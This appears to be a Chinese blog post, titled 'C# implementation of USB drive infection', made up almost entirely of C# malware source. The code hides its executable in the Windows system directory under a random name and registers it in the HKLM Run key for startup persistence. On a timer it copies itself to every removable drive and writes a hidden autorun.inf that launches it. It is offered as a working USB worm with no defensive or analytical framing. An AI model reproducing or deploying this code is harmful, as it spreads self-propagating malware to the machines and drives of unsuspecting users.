C# 实现u盘感染

string clientname = "";//程序随机生成的文件名
        string path = "";//程序移动到的文件路径及名称

 

public void Uinfect()
        {           
            FileInfo myinfo = new FileInfo(path);

            foreach(DriveInfo dir in DriveInfo.GetDrives())
            {
                if (dir.DriveType == DriveType.Removable)
                {                    
                    string upath = dir.Name + "//" + clientname;
                    FileInfo info = new FileInfo(upath);
                    if (!info.Exists)
                    {
                        myinfo.CopyTo(upath);
                        FileInfo auto = new FileInfo(dir.Name + "//autorun.inf");
                        StreamWriter sw = auto.AppendText();

                        sw.Write("/r/n[autorun]/r/n" + "open=" + clientname);
                        sw.Flush();
                        sw.Close();

                        auto.Attributes = FileAttributes.Hidden | FileAttributes.System;
                        info.Attributes = FileAttributes.System | FileAttributes.Hidden;
                    }
                    else
                    {
                        //timer1.Enabled = false;
                    }
                 
                }
            }
        }

 

private string MoveFile()
        {
            string path = Application.ExecutablePath;
            if (!path.Contains(Environment.SystemDirectory))
            {
                FileInfo myfile = new FileInfo(path);
                string myFilename = "";
                string Systempath = Environment.SystemDirectory;
                string destPath = "";
                FileInfo destFile = null;

                do
                {
                    myFilename = this.CreateCode(6) + ".exe";
                    destPath = Systempath + "//" + myFilename;
                    destFile = new FileInfo(destPath);
                }
                while (destFile.Exists);
                clientname = myFilename;
                myfile.MoveTo(destPath);
                return destPath;//返回移动到的路径及名称      
            }
            else
            {
                string clientstartname = Application.StartupPath;
                clientname = path.Substring(clientstartname.Length + 1, path.Length - clientstartname.Length - 1);
                return path;//返回移动到的路径及名称
            }

        }

        //写入注册表开机启动
        private void RunStart()
        {
            RegistryKey mykey = Registry.LocalMachine;
            RegistryKey runkey = mykey.OpenSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run", true);
            runkey.SetValue(clientname, path);
            runkey.Close();

        }


        private void timer1_Tick(object sender, EventArgs e)
        {
            Uinfect();
        }

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值